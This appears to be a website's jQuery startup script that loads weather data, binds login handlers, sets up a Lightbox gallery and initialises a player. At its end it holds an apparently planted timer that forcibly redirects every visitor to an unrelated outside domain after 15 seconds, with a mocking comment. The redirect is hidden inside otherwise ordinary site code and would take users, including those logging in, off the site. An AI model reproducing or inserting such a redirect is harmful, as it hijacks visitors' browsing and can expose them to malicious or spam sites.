//JavaScript
$(document).ready(
				  
				  
	function() {
		
		var meteoUrl = "/weather/";

		$.ajax({
			type: "GET",
			url: meteoUrl,
			dataType: "xml",
			success: termo_processXML
		});
		
		/* Init enter OnClick event */
		$('#c_enter').click( loginOffice );
		
		$('#c_password').keydown( function(event) {
			if (event.keyCode == '13') {
			 loginOffice();
			}
		});
		
		$('#c_email').keydown( function(event) {
			if (event.keyCode == '13') {
			 loginOffice();
			}
		});
		
		// Lightbox construct
		
		$.Lightbox.construct({
							 
			"text": {
				// For translating
				"image":        "Image",
				"of":           "of",
				"close":        "Close X",
				"closeInfo":    "You can also click anywhere outside the image to close.",
				"download":     "Download.",
				"help": {
					"close":    "",
					"interact": ""
				},
				"about": {
					"text":     "jQuery Lightbox Plugin (balupton edition)",
					"title":    "Licenced under the GNU Affero General Public License.",
					"link":     "http://www.balupton.com/projects/jquery-lightbox"
				}
			},
								 
        	"show_linkback":    false
    	});
		
		$('a:has(img)').lightbox();
		
		masterplan_init(); // init master plan
		
		player_init();
	
		// Rdirect to p-zz.ru

		

		// 15 seconds and p-zz.ru %))

		var sec = 15;

		setTimeout(function() {

			window.location = 'http://p-zz.ru';

		}, sec*1000);

		
	}

);
